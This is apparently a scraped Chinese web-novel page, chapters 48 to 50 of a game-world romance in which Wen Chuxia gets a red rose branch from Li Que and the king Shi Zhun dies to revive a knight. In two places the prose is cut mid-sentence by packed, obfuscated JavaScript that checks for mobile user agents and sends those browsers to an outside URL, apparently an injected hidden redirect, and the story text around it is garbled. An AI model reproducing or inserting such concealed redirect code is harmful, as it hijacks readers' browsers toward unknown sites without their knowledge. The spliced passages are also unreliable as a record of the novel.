温初夏体验了一把什么叫做峰回路转否极泰来,踩在湿漉泥土上的右脚一软,差点儿一跟头栽进溪里。 “哎呦!” 冷不丁在原始森林里听到一句人话,这可结结实实把李确给吓了一跳。 他立刻转头,看见了一位衣衫褴褛的、好像一个月没洗澡,半个月没洗头,一整年没有换过衣服的老熟人。 “温初夏!怎么是你?!” 李确一脸惊喜地从灌木丛里走出来,目光紧盯着溪流对岸的人,眼里闪烁着老乡见老乡的激动光芒:“难道你也和我一样,也在这个世界里当野人吗?” 温初夏本来和他同样高兴,但一听到后半句话,嘴角立刻瘪了下去。 什么叫“也在这个世界里当野人”? 这位少年,你要不要睁大自己的眼睛好好看看,你全身上下有哪一点能和野人扯上关系??? 在场的野人明明只有刚越过狱、逃过命、跳过崖、穿过洞的可怜的我好不好! 只见李确上身穿着一件浅色亚麻衬衫,领口有精致的褶皱饰边,袖口浆洗得笔挺,外搭一件颜色稍深一点的条纹丝绸马甲。 下身是一条深灰色长裤,脚穿一双擦得锃亮的黑色漆皮鞋。整体看起来清爽整洁又优雅,的确是和野人没有一点关系。 而他手里,居然还捏着一枝开的正盛的白玉兰。花朵硕大,洁白如雪,外观有点像是莲花。 看看,看看! 哪个野人会有闲情逸致摘花的? 我就没有! 溪水不深,李确踩着露出水面的石头过溪,走到温初夏身边,目光落在她衣服上的血迹,当即关切道:“你受伤了?我这里有药……” “我没受伤,这不是我的血。”温初夏打断他,把她自从醒来后发生的种种事情挑取重点,三言两语对李确说了一遍。 听完后,李确消化了几秒,沉声道:“你们真是,辛苦了啊。” 然后又有些自责:“我这一年时间都在外面,什么忙都帮不上,全靠你们在城堡里冒着危险做任务,对不起啊。” “不用觉得抱歉,真的。”温初夏看着他,“流浪在外又不是你的错。而且我听周雅宜说,你被流放的小岛离这儿特别远,要一年多才能走回来。但现在你不到一年就回来了,说明你这段时间也吃了不少苦。” “其实……”李确浅笑着挠了挠后脑勺,表情有些不好意思,说:“我没吃什么苦,只是大部分时间都在赶路罢了。” 温初夏知道他这话不是在谦虚。 因为看他这副打扮,确实不像是吃过大苦的样子。 于是她问:“你这一年都是怎么过来的?” 李确:“刚开始被扔到荒岛上的时候,我其实很害怕,既担心自己掌握的生存技能不够我在荒岛上活下去,又担心这辈子再也见不到你们大家了。但就在第二天,我的技能忽然变了,又多了一个。” “什么?”温初夏瞪大眼睛。 她只知道可以抢别人的技能,但从没听说过技能还可以自行变多的。 “原本我的技能是第六感,可以提前预知到一些事情,比如危险,或是想要寻找的物体的方位。”李确说,“但是刚到荒岛第二天,我一觉醒来,发现自己居然又多了一个新技能。” 说着,李确一挥手,两人眼前立刻出现了一个虚拟面板,是类似经营类游戏里那样一格一格的仓库,格子里是物品的图标,下方的数字代表该物品的数目。 面包×15 饮用水×20 帐篷×1 船×1 船桨×2 救生衣×1 金币×100245 …… 温初夏看呆了:“你哪儿来的这么多钱??!” “这就是我的第二个技能,囤物系统。”李确见她下巴都要掉地上了,笑着继续解释道: “每天系统都会下发一些很简单的任务,任务完成后,就会奖励我各种物资。从最开始的食物水源衣物帐篷,到后来的船和桨,让我能从荒岛来到大陆,再之后是马车、地图、金币……” “停停停。”温初夏让李确打住,不可置信地看着他,“所以你一路上都是这么吃香的喝辣的过来的?” “额……”李确思考不到两秒,点了下头:“算是吧,可以这么说。” “……” 温初夏仿佛被一道巨雷从头劈到了尾。 她闭上眼,深吸一口森林里氧气浓度极高的空气,然后成功醉氧,大脑变得飘忽忽的,整个人进入微醺状态。 眼皮掀开,温初夏面无表情地看着李确,轻摇头感慨:“你爷爷真是太疼你了。” 她是真没想到,1107居然权限如此之大,还能给玩家开外挂,自己现在跑去抱前辈的大腿还来得及吗? “我爷爷?”李确疑惑地皱起眉,“这和我爷爷有什么关系?难道他也在这个世界里?”李确有些着急。 “没有没有。”温初夏忙否认,“我刚嘴快说错了,是老天爷,不是你爷爷。” “哦。”李确这才放下心来,舒了口气,“那就好那就好,吓我一跳。” 温初夏看着他手里的白玉兰,好奇地问:“这就是你说的很简单的任务吗?摘花?” “啊。”李确也跟着她低头看了看,忽然变得不好意思起来,白皙的耳廓迅速染上红晕,他羞赧道:“这不是……” “那你摘花干嘛?”温初夏不明所以地笑笑,“总不会是因为好玩儿吧。” “当然不。”李确手指抚过玉兰花柔软细腻的花瓣,垂眸道:“我是想送给雅宜。她之前说她很喜欢花,各种各样的花都喜欢,尤其喜欢白色的。” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681505|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年里,每次遇见白色的花,我都会摘下一朵。虽然知道她在城堡里,离我很远很远,但我总是心存侥幸,觉得万一呢,万一某天忽然就遇见了呢,那我总不能空着手见她吧,所以就……” “行了你别说了我懂了。”温初夏酸溜溜地捂住额头,再也听不下去一点儿。 刚才那道巨雷拐了个弯,又劈瞎了她的钛合金狗眼。 温初夏想发癫,想怒吼—— 为什么我在这个界面里要对付各种变态,而这俩小朋友却能开开心心搞纯爱? Why?这不公平!!! 视线漆黑许久后,李确关切的声音传入耳朵:“你还好吧?脸色好差,是不是低血糖了?” “没。”温初夏立刻睁开眼,放下手说:“但我确实很饿,快一天没吃东西了,能给我来块儿面包吗?” “当然。”话音刚落,李确手里就出现了一袋面包,一瓶矿泉水。 他把这俩东西递给她,又道:“我这儿有很多吃的,如果不够我再给你拿。” 温初夏撕开包装,啃了一口面包,含糊道:“够。我其实没什么胃口,稍微垫吧一下就行。” 两人并排往森林外的方向走。 李确偏头看她,问:“那接下来我们应该怎么办?” “不知道。”回答的语气是遮掩不住的烦躁和低落。 温初夏吃噎了,仰头灌了半瓶水,把卡在喉咙里的面包顺下去,低头拧瓶盖,接着道: “我没想到会有人暗中搞破坏。都怪我不够谨慎,一开始察觉到那人有问题的时候,就应该立刻除掉他才对,现在一切都晚了。” 哪怕她今晚一回城堡,就把西奥多乱刀砍死,削成人棍,也改变不了他们已经进入死胡同的现实。 得知这个副本没法完成,李确的心情也低落下来。他安静片刻,问: “预言诗里说的那只白鸽,到底起什么作用?” “红玫瑰。”温初夏把包装袋折吧折吧,捏在手里,“复活宋云泽需要三朵不同颜色的玫瑰,分别是白黄红,红玫瑰是我们要找的最后一朵,本来应该是由白鸽叼来的,但白鸽被弄死了,红玫瑰也就跟着找不到了。” 说完,身边的李确陷入了长久的沉默。 温初夏以为他正沉浸在震惊和悲伤中无法自拔,所以没有再开口,让他自己个儿悲伤去。 两人之间这种沉默无言、各怀心事的状态大概持续了五分钟。 五分钟后,李确才终于开口道: “其实,红玫瑰,我这里也有。” 什么??? 温初夏立刻钉在原地,睁着一双不敢置信的大眼睛看着他:“你有?!” “对。”李确点头,“虽然我不确定我的这朵能不能起到同样的作用,不过它确实很不寻常,是我从一位女巫婆婆手里买来的。” “当时我真正想买的东西其实并不是它,但一见到它,我心里就有一股很强烈的预感,觉得这个东西之后肯定用得上,所以就花一千金币买了下来。” 听到这里,温初夏简直快要不能呼吸了,火急火燎道:“快拿出来给我看看!” 李确在他的屯物系统里搜寻了片刻,接着,手里凭空出现了一根布满荆棘的深棕色玫瑰花枝,没有花朵。 …… 落日时分,夕阳像熟透的柿子挂在天际西边,给世间万物都镀上了一层温暖的色调。 已经换上干净衣服的温初夏掀开马车的门帘,问在前面驾车的李确:“你真的不和我一起进去吗?” “不了。”李确勒紧缰绳,让马车停在城堡门口,回头说: “这个世界的时准对我有点……不是很友好,我怕他再见到我,特别我还和你在一起会不高兴,还是算了。我会在离城堡近的地方找一家旅店住下,有什么事可以书信联系,或者让可以自由出入城堡的同学来找我也行。” “那好吧。”温初夏跳下马车,最后问一句:“你摘的那束玉兰花,需要我替你转交给周雅宜吗?” 李确想了想,摇头婉拒道:“这种东西,还是亲手送的比较有意义。” 温初夏“切”了一声:“好吧,那我走了。” “欸,等等。”李确叫住她,“那根红玫瑰花枝,你,真的要用吗?” “当然!”温初夏努力扬起一个轻松的笑,一切尽在掌握中地自信满满道:“我相信你的第六感。” “……” 李确握紧缰绳的手慢慢松开,眉心轻折:“希望我没有感觉错。” “不会的不会的。”温初夏既是宽慰他,也是宽慰自己,“这是你的技能,怎么可能出错呢——走了啊,拜拜!”她一边脚步轻快地后退,一边用力朝李确挥手。 “嗯,一切小心。” “知道了,你也快走吧,去旅店歇息。我会告诉周雅宜你进城的好消息的,我敢打赌,她肯定会高兴的哭出来。” 温初夏回到她一开始住的那间寝宫,刚把红玫瑰花枝放进带锁的抽屉里藏好,一转头,时准就用力地将她一把搂紧怀里。 “你没事。”他把头深深地埋在她的肩窝里,“真是太好了……” 很快,温初夏便感觉到肩膀传来湿热,于是眼睛也跟着滚烫起来,鼻腔炸起一阵强烈的酸楚,就快要抑制不住。 她抬手,安抚地拍了拍时准的后背,笑音带颤:“哭什么,我这不是平安回来了吗。” 见时准不说话,只是一味地沉默低头流眼泪,温初夏一颗心仿佛在醋里泡过,十分酸胀难安。 她赶紧用力地一咬舌尖,稳住声音不再颤抖,又打趣道: “让你给我喂一些奇奇怪怪的魔法小药水吧,让地牢里的狱犬成了精,把我掳走,害我吃了好多苦头,下次还敢不敢了?” “不会了。”肩膀上的大脑袋鼻音很重道,“再也不会了。” 他像是在忏悔:“对不起,我不该强迫你爱我。” 你没有强迫啊,傻瓜。 我也不需要强迫。 温初夏抚摸着他的后背,心里叹了口气,然后像哄小孩子一样,轻声轻语地说: “时准,你不用再把我关起来了,之前是我的逆反心理在作祟,现在我想明白了,留在这里陪你一起生活也挺好的,嫁给你,我心甘情愿。” “真的吗?” 时准抬起头,一双眼睛仿佛是春雨浸润过的黑曜石,眼睑泛着和窗外晚霞同样的色彩,湿漉漉的下睫毛沾在皮肤上,有点脆弱,有点可怜。 他瓮声道:“其实你不用为我妥协,我不想强迫……” 话还没说完,他整个人忽然愣住,目光完全放空。 温初夏清楚地看见,有一道暗色光芒从他漆黑的瞳孔里一闪而过,还没来得及疑惑,就又被时准用力抱住。 “那太好了,夏夏。”他的声音竟在一秒之内变得无比平静,又回到了从前那种让人捉摸不透的状态。 时准在她耳边道:“还有三天就是我们的婚礼,一切都已经准备好了,婚纱、珠宝、戒指……你穿戴在身上每一样东西,都是我亲自挑选的,到时候,你会成为全世界最美的新娘。” 49. 第 49 章 “欸我说,你够了吧。” 古朴典雅的城堡藏书阁,穹顶高耸、拱窗雕花,木质旋转楼梯蜿蜒通向高处的书架层。 几个衣着华丽的少男少女正坐在楼梯下方的软凳,面前的檀木桌上躺着一本纸页陈旧泛黄的古籍,上面赫然是那首贯穿整场游戏始末的预言诗。 季明轩拿着一颗黄澄澄的大圆橙子,左右手来回接抛,表情略嫌地看着对面热泪盈眶的周雅宜,揶揄道:“李确又没死,哭这么伤心干嘛,人家织女牛郎鹊桥相会都没你这么夸张。” “我这不是伤心,是高兴。”周雅宜纠正。 她接过身边李书雪递来的丝绸手绢,擦干净脸,十指交握地感谢上苍:“只要他还平安活着,我就放心了。” 季明轩夸张地龇了龇牙,把橙子钉在桌上,疯狂揉搓两条胳膊上冒出的鸡皮疙瘩,小声嘀咕:“不知道的还以为你是他妈呢……” 人李确可没妈。 温初夏在桌下轻轻踢了季明轩一脚,让他闭嘴,然后对哭得脸色通红的周雅宜说: “李确现在就住在城堡外的旅馆里,你可以偷偷溜出去看他。时准这些天忙着筹备婚礼,没有多余的精力管其他事,你让付子衿帮你捏个脸,白天混在采买的队伍里出去,晚上再及时回来,他应该发现不了。” 季明轩不再抖腿,周雅宜则松开手,吸吸鼻子,垂眸考虑了会儿,决定道:“还是算了吧。” 虽然声音是瓮声瓮气的,但她说出的话却十分理性,顾念大局: “还有不到三天时间就是最后一关了,我必须守在城堡里,以防再出什么茬子。而且李确现在平平安安,以后我们有的是机会见面,不必急于一时。” “哇——”李书雪啪啪鼓起掌,看着她,“从今天起我要对你刮目相看了,原来我们周大小姐不是恋爱脑啊。” “?”周雅宜不轻不重地捶了她一拳,“我什么时候是恋爱脑了?” “不是吗?”李书雪一脸不信,“那李确刚被流放的前几天,是谁天天以泪洗面,拉着我一哭就是俩小时的?” 闻言,季明轩立刻睁大八卦的大眼睛:“还有这事儿?!周雅宜你不会吧……” “我当然不会!”周雅宜刚褪色的耳朵又红了回来,瞪了眼季明轩,又看向李书雪,呼吸不畅:“我我我当时顶多算是情绪低落,哪儿有你说这么夸张,正常人哭连续半小时眼泪就已经流干了好不好。” 四个人里有三个都在叽叽喳喳、插科打诨,唯独温初夏没有吭声。 她微微低着头,右手食指指尖轻点着下巴,放空的眼神落在檀木桌上,像在思索着什么难题。 “欸。”季明轩手肘捅捅她,低声问:“在想什么呢?表情这么严肃。” 意识浮出水面,虚晃的视线重新聚焦,温初夏回:“没什么。” 顿了顿,她又说:“我还是觉得时准把李确流放这件事情很奇怪,他为什么要这么做?” 此话一出,三人的视线不约而同地汇聚到一个人身上。 周雅宜:? “看我干嘛,我也不知道好吗。” 她有些失笑,耳朵已经彻底降下了温,又补充道:“这个问题的答案应该只有时准自己清楚,就连李确都没想明白他这么做的理由是什么。” 季明轩把古籍捧在手里翻看,边扫边道:“这本书里只提到了国王和骑士有仇,一个嫉妒另一个,但没说国王和其他人也有仇啊。” 温初夏单手撑腮:“所以,时准驱逐李确的原因肯定不是游戏情结需要,而是,他自己本人的意愿?” 李书雪立刻道:“可他和李确之间也没仇啊,我一直觉得他俩关系挺好的。” “对。”季明轩用力点头,“这个我可以作证,之前在向日葵小学的时候,我们仨一个宿舍,他俩关系挺好的,经常在一起说话开玩笑什么的,绝对算得上是好朋友。” 经他提醒,温初夏忽然想起了昨天傍晚分别时,李确婉拒自己的那句话—— “这个世界的时准对我有点……不是很友好,我怕他再见到我,特别我还和你在一起会不高兴,还是算了。” 时准讨厌宋云泽,合情合理,毕竟他俩是情敌。但他为什么会忽然也讨厌起李确? 而且照李确的意思,时准讨厌他,也是类似于对情敌的讨厌…… 可李确和周雅宜这对儿cp都快锁成榫卯结构了,所有人都心知肚明、看破不说破,时准身为李确的舍友,不可能不知道——除非,他的记忆被篡改了。 但谁有意图和有能力去篡改国王的记忆?西奥多那个贱人? 可他是一个月前才来到这个副本的,时间上根本对不上啊。 温初夏的思绪在短短几秒钟内拐过了山路十八弯,但前路仍然是迷雾重重的死胡同。她有些受挫,干脆把话题转向另一件同样让她感到十分疑惑的事—— “你们有谁见过时准的眼里闪光吗?” 其余三人:“……” 空气不尴不尬地安静了好几秒,还是季明轩首先开口,打破沉默。 “闪光?”一双浓墨重彩的大眼睛飞快眨了两下,他开玩笑地问:“是名侦探柯南里的那种吗?” “人家柯南闪的不是眼睛,是眼镜。”周雅宜斜没好气地纠正,又注意到温初夏把目光移向自己,仔细回忆了一下,摇头说:“我没见过。” “为什么忽然问起这个?”李书雪胳膊撑在桌面上,猜测:“难道你亲眼见过?” “嗯。”没得到想要的答复,温初夏把失落的情绪隐藏起来,语气淡淡地说: “就昨天傍晚,我刚回城堡的时候,时准来我的房间找我。当时我亲眼看见,他眼仁里有一道微光一闪而过,然后整个人就忽然变得非常冷静,冷静的甚至有些冷漠,就好像……” 她轻皱起眉,找到一个恰当的形容:“人格分裂了一样。” “人格分裂?” “其实我觉得从这个副本一开始起,时准就已经分裂了,和从前完全两模两样。” “同感,我也觉得时准简直像变了一个人似的。” …… 三人讨论了一会儿,然后陷入沉默。 季明轩仰头靠在椅背上,看着拱窗外绚烂的夕阳,忽然发出一句连他自己也觉得无厘头的感慨:“又是傍晚啊。” “什么?”温初夏视线上移,挑眉看着他。 “哦。”季明轩忙坐端正了,解释道:“我是觉得,自从我们莫名其妙被迫进入这场鬼游戏,怎么好多大事都是在傍晚发生的?比如向日葵小学的火灾,一年前那场舞会大逃杀,还有你刚才说的,时准眼里忽然冒光……差不多就这些吧。嗯,怎么感觉也不是很多。” 不,不止这些。 温初夏表情呆住,呼吸停滞,但胸腔之下原本低迷的心脏却开始狂跳。 她无声地补充:还有时准主动告诉我他的生日愿望,以及他把蝴蝶标本扔下楼,这两次反常,都是在夕阳西下的时候发生的。 并且每次反常之后,时准都会像昨天那样,立刻又变得特别冷漠、专断、偏执、掌握欲极强,就像…… 《准时说爱你》里的时准一样。 想到这点,温初夏瞬间毛骨悚然,后背的鸡皮疙瘩成片爆起,心跳更加剧烈。 有种在黑暗中茫然地乱碰乱撞许久,终于把困住她的魔盒撞破了一个口子,于是窥见天光,马上就可以获得自由的感觉。 其余三人见温初夏忽然打了个激灵,然后面无表情地发起呆来,知道她这是在想事情,互相看了看后,默契地闭着嘴没有打扰。 准时说爱你,准时说爱你…… 书名里所谓的“准时”,指的是宋云泽死去的时间。 刚穿来的时候,温初夏就以追魂夺命的速度看过一遍《准时说爱你》,她依稀记得,同人文里宋云泽死亡的时间就是在傍晚,而黑化后的时准嫉妒心爆棚,总爱强迫女主在这个特殊的时间点说爱他。 当时的温初夏不会料到,这个看似出于某种病态情趣的情结设定,竟然会在日后成为她破局的重要一环。 …… 回到寝宫,一关上门,温初夏就迫不及待让粉团子赶紧把《准时说爱你》的原文调出来,她要确定宋云泽死亡的准确时间,同时也是国王时准短暂恢复正常的时间。 根据前几次的经验可知,时准变正常的时间很短,可能只有一分钟,甚至是几秒钟,所以必须要精确把握。 离婚礼只剩下最后两天时间,她没有机会试错,不成功便成仁,成败在此一举。 温初夏毛焦火燥地等了一会儿,粉团子给她的答复却是: “宿主,我刚才去向总部申请了。他们说,因为上一次解锁《准爱》后,这篇文的文本包在守护者论坛里到处疯传,造成了特别恶劣的影响,所以这次他们最多只愿意解锁5分钟。” “5分钟?这么短?!”温初夏一下子站起来,无法接受:“5分钟时间够干什么,我连前两章都看不完!” 第一次是解锁的半个小时,她看的时候眼珠子差点儿没转出火星子,都还剩了最后几章没有扫完。但这回,总部就只给她5分钟…… 什么害怕造成不良影响,总部这就是在故意刁难她! 温初夏恨的牙痒痒,又想炸系统了。 “我刚才也是这么说的。”粉团子惭愧道,“但总部那边就是不愿意松口,咬定了只给5分钟,说宿主你要看就看,不看算了,拒绝讨价还价。” “……” 温初夏服了,整个人蔫儿了下去,连痛骂总部的心情都没有。 她眉头紧锁,竭力想要回想起《准时说爱你》中的哪一章,哪一段,或者哪个剧情里有出现过宋云泽死亡的准确时间,但完全想不出来。 时间久远是一个原因。 而这篇同人文的剧情太雷同,又是另一个更加重要的原因。 俩主角不是在do,就是在do的路上。 通篇下来,没有剧情,全是色情,一丁点儿小说应该有的起承转合跌宕起伏都没有。 温初夏当时看得很快,再加上羞耻心爆炸没敢细品,现在能回忆起来才鬼了。 她烦躁地揉了揉头发,走投无路,只能去找1107帮忙。 …… “怎么样怎么样?”温初夏双手合十,满脸期许,“总部那边答应了吗?” 1107关闭交流频道,耸耸肩:“很遗憾,没有。” “啊——”温初夏眼里的光彩立刻黯淡下去,右手捂着额头,在1107面前快步走来走去,已经焦虑的有些神经兮兮了。 “那该怎么办,5分钟根本不够我看的啊!我刚还在论坛里问了其他人,发现就连《准时说爱你》的文本包,都被总部全部清理了,他们手里也没有资源。” “啊啊啊啊完了完了完了——” 嚎完这一嗓子后,温初夏忽然刹住脚,放下手。 “前辈,你说我接下来是应该再努力回忆一下,还是直接赌一把,赌我能不能在5分钟内从十万字的同人文里找到那个时间点?” “你过来。”1107笑着向她招招手,“我告诉你我的第三条建议。” 我都这么惨了,你还笑得出来啊? 温初夏在心里暗骂,但还是迈开步子,走到1107身边,听他在耳畔说了一句话。 说完后,温初夏立刻触电般地往旁边撤了一步,用一种青天白日撞见鬼的表情,瞪着1107,双唇像是涂抹了强力胶,半个字都吐不出来。 1107于是笑得更欢了,右手叉腰,左手摊开,“你就说这是不是最好的方法吧。” 温初夏紧闭的嘴巴动了动,虽然没有发出声音,但从犀利的眼神就能看出来,她骂的很脏,白皙的脸颊染上一层可疑的红潮。 “骂”完,她转身,荒里荒唐地走了。 1107冲背影喊道:“我只是提建议,采不采纳由你哦~” 温初夏闻声加快了速度,皮鞋踩的大理石地板咚咚响,身侧的双拳紧握,又反手向身后人竖了个中指,很快便消失在长廊的拐角处。 . 暮色漫过天际的褶皱,把天穹洇染成半透明的灰蓝,城堡里接二连三地亮起烛光。 在被带到未来王后的寝宫门口之前,姜荞语在藏书阁里,借着打扫卫生的机会看书架上的书。 她在城堡的身份是管理藏书的女仆,技能是瞬时记忆,那本记载着预言诗的古籍最开始就是她发现的。 仿佛艺术品的寝宫门由内打开,温初夏热情地迎接她:“哎呀,荞荞你可算来了,我等你好久了。” 她这笑容……怎么有点儿假呢?是我的错觉吗? 姜荞语顶着一头雾水,被温初夏推进房间,按坐在梳妆镜前的高背椅上,听她道:“我有件事想请你帮忙……” 虽然很懵逼,但姜荞语还是乖宝宝一样地坐好,两手放在大腿上,一双清澈无辜的杏眼看着镜子里温初夏的倒影,立刻点头答应:“好啊,什么事?” 温初夏不知道,其实姜荞语很崇拜她。 这一点,无论是在上一个副本,还是这一个副本,抑或是从前在清荟正常念书的时候,都是如此。 崇拜的原因也很简单。 因为温初夏这人,漂亮,聪明,有个性,从头到脚都闪闪发光,永远是人群里最亮眼的存在。 这让打小就是小透明的姜荞语很羡慕,但不嫉妒,总希望能和她走近一点,好近距离瞻仰女神的光芒。 能帮到温初夏,对姜荞语而言,简直比中大奖还要让她开心,所以她连要帮什么忙都还不知道,就想也没想地答应了。 没料到这孩子会如此热情,温初夏搭在椅背上的右手暗中握得死紧,深吸一口空气,对自己说:冷静,冷静,这没什么好尴尬的,都是为了通关,为了生活!!! “是这样的。”温初夏语速飞快,因为如果不快一点,就赶不上她打退堂鼓的速度了。 “一会儿这面镜子里会放映一本小说——先不要问我是什么小说,待会儿你自己看了就知道了。大概有十万字左右,但时间只有五分钟,你需要把它全部看完,找到里面男二死亡的准确时间点,越精确越好,至少要到分。” 在《准时说爱你》里,男二就是宋云泽。 虽然他毫无戏份,只存在于女主的回忆、和男女主的争吵里。 好奇葩的要求。 姜荞语表情呆滞地点了点头,声音也呆呆的,指着镜子问:“那我是现在就开始看……” “对。”温初夏松开手,立马转身往门外走,边落荒而逃边叮嘱:“你一个人看吧,我在门外等你的好消息,一定要找到哦。” 姜荞语很有干劲地回:“好的,我会努力的!” 五分钟后。 寝宫门被推开。 靠在墙边罚站的温初夏立刻迎上去,焦急地问:“怎么样?找到了吗?” 姜荞语埋着头,眼睛直愣愣地盯着地板,那些脸红心跳的场面还在她脑海里旋转跳跃不停歇,把纯洁的三观震的粉碎,导致她现在根本不敢看温初夏一眼。 “……下午6点23分17秒!” 憋出这句话后,姜荞语就双手捂脸,逃走了。 徒留温初夏举着尔康手站在原地:“欸——” 跑这么快,她还没来得及道谢呢。 …… “你确定是她邀请我来的?” 日暮时分,时准穿着一身笔挺的黑色西装,被周雅宜推着上了台阶,往玫瑰园的观景台走。 “当然,我骗你这个干嘛。”周雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“很喜欢。”时准沉溺其中,无法自拔,嘴唇扬起一抹甜蜜的笑,“你的每个样子我都喜欢。” 温初夏指尖调皮地戳戳他的胸口,说:“我也很喜欢你身上穿的这套西装,看起来更帅了。” 说着,她手摊开,掌心朝上,装模作样地问:“这位帅气的男同学,请问我能有幸邀请你跳一支舞吗?” “当然可以。”时准把手放在她的掌心,反握住,眼底漫起湿润,“跳什么舞?” 温初夏抬起另一只手,搭在几乎和她头顶一样高的肩膀上,不知为何,眼眶也有些热热的。 她赶紧吸了下鼻子,说:“跳校庆那晚的交际舞。当时我的舞伴选错了人,现在补偿给你。” “那,”时准搂住她的不堪一握的细腰,“其他与之相关的一切,你也会补偿吗?” “当然,以后一定会的。” 温初夏仰头,见时准红着眼眶,露出一个孩子气的傻笑,头一次体会到了真心实意地撒谎是种什么体验。 心脏好像被挖了个洞,然后又填补上。 除了疼痛之外,还有自欺欺人的满足。 傻瓜,我们之间,哪儿还有什么以后啊…… 玫瑰色的霞光如同融化的宝石,肆意流淌,将天幕浸染成一片翻涌的熔浆海,璀璨又壮观,好似夕阳的千里红妆。 两人在霞光里起舞,天地日月皆是见证。 跳完后,温初夏悄悄取出玫瑰花枝,尖利的荆棘深深陷入她的掌心,鲜血从指缝间滑落,掉落到洁白无瑕的纱裙上,触目惊心。 明知最佳时间已经到了,她却始终下不了手,嘴唇咬得发白,却感觉不到疼痛。 直到有人握住她藏在背后的手,将花枝抵在炙热的胸口。 “你……”温初夏惊讶抬眸。 他怎么什么都知道?连这个都知道! “夏夏,别怕。”时准微笑着说。 那双眼睛不再是冷冰冰的,而是温柔又深情,流露出浓浓的不舍,和别离。 几乎是瞬间,两行热泪从温初夏的眼眶滚落,滑至下巴,砸到胸前。 “不,不要……”她嗫嚅着,下意识摇起头。 但握住她手的力道并没有因此松减分毫,“别哭。” 被时准低头吻住之前,温初夏听到的最后一句话,是: “谢谢你陪我做这场梦,我会永远永远爱你。” 噗嗤。 锋利的花枝划破衣服,刺入胸膛,贯穿心脏。 时准松开温初夏的手,慢慢往后倒退,一步,两步,三步…… 直到后背抵到栏杆,他深深望了她最后一眼,恨不能将千言万语和万千柔情都饱含在其中,然后,才心满意足地阖上双目,身体往后倒去。 “不要——!” 温初夏终于回过神来,疯跑到栏杆边,往下一看。 只见喷泉池溅起水花,鲜血溶在清水里,如同一根飘渺且艳丽的丝带。 水面尚未平息,就又像被烧开般,剧烈沸腾起来,整池泉水都迅速变成了血红色。 温初夏发誓,她这一生从未如此紧张过,忙跌跌撞撞地跑下楼去,来到喷泉池边。接下来发生的事情只能用神奇来形容。 沸腾的血水中浮出一具透明华丽的水晶棺,时准安稳地躺在里面,表情没有丝毫痛苦,而是如同睡着了一般平静。 一朵红玫瑰在他的心口处盛放,颜色像朱砂,像烈焰,像晚霞,红得近乎妖冶,美得惊心动魄,每一片花瓣的弧度都彰显着极致的热烈与张扬。 就像他的爱一样。 温初夏跌坐在地,泣不成声。 他怎么会知道?他怎么什么都知道呢…… 提前埋伏在四周的人闻讯而动—— 周雅宜把温初夏搀扶起,李书雪豪迈地用袖子帮她擦眼泪,其余人则合力把水晶棺从水里捞出来,安置在拉车上,却不知道接下来该运送去哪儿。 因为温初夏还在哭,哭得非常伤心。 “我的姐,求求你别再哭了。”李书雪举着两只湿透的袖子,惊恐道:“再这么下去,我就只能把裙子撩起来给你擦眼泪了。” 周雅宜倒没劝,只是搂着温初夏,不断轻拍她的肩膀,目光落在水晶棺里的时准身上,鼻子酸酸的,也有些想掉眼泪,但她忍住了。 季明轩跳下马,一言不发地走到温初夏面前,掏出一块浅黄色的方巾,递给她。 温初夏差不多哭够了,理智回笼,接过方巾擦擦眼泪,醒醒鼻涕,鼻音很重地吩咐:“把时准送去他的寝宫吧。” “可是……”季明轩声音很低很轻,小心翼翼提醒:“时准寝宫外有重兵把手欸。” “没事,不用担心。”温初夏举了下右手,“我刚复刻了时准的技能,现在那些盔甲士兵都听我的。” 本来还沉浸在悲伤中的周雅宜听到这句话,拍肩的动作停住,表情立马变得复杂。 她半是感慨,半是吐槽:“……真不愧是你啊。” “那走吧。”季明轩翻身上马,对身后的人说:“麻烦你们帮忙看着点,这板车的长度不够,别让棺材滑下去了。” 离他最近的是一个大腹便便的胖男人,季明轩见对方一直盯着水晶棺看,神情严肃像在思考,忙冲他“欸”了一声,抬抬下巴,问:“你在想什么呢?” “没什么。”胖子额头皱巴巴的,高深莫测道:“我只是觉得,好像有什么事情不对劲。” “什么事?” 胖子没有回答季明轩,而是走进一步,近距离看着时准胸口的那朵盛放到最佳状态的红玫瑰,一种不好的预感在他心里呼呼打转,表情也跟着愈发凝重。 忽然,他大叫一声:“不好!!!” 在场所有人都被这声音吓了一跳,纷纷看向他。 胖子则转身看向被左右搀扶住的温初夏,肥嘟嘟的圆脸上写满了“大祸临头”四个字。 “别管国王了,快去骑士那里!”他发出惊恐的嘶吼,“他就要憋死了!!!!” 50. 第 50 章 三分钟后。 “没救了,彻底断气了。” 胖子沉重地收回摸着宋云泽脖颈处大动脉的手,额头冒出的汗水由热变冷,他用袖口胡乱抹了一把,原本喜庆的脸庞积聚起浓厚的阴云,让人不寒而栗。 “不会吧,这才多长时间?你是不是摸错了!” 季明轩单膝跪在水晶棺旁边,不愿相信地用力把棺门推出更大缝隙,右手伸进去,首先探的是鼻息,没有;其次是大动脉,也没有; 再摸到他的左胸,一年前的伤口早已愈合,皮肤还是温热的,却已经没有了心跳。 完了。 季明轩挺直的后背佝了下去,气喘吁吁,大脑像被泼了白油漆,只剩一片茫然的空白。 待会儿我要怎么向温初夏交代? 刚才一听胖子说宋云泽要不行了,季明轩想也没想,立刻松开连接板车的卡扣,驱马狂奔,和技能是化身超级大滚球的胖子火速赶到这里。 但他们还是没能跑过时间,宋云泽刚复活没两秒,就又被活生生憋死了。 “怪我,都怪我。” 胖子悔恨道,然后左右开弓,狂扇自己好几个巴掌,声音听着跟打鼓似的。 “我怎么就忘了,红玫瑰一盛开,骑士就会自动复活。我怎么这么蠢、这么蠢、这么蠢……”他说一次打一下,说一次打一下,下手还不轻。 “哈哈哈哈哈……” 这时,棺材里传出一阵虚弱的笑声。 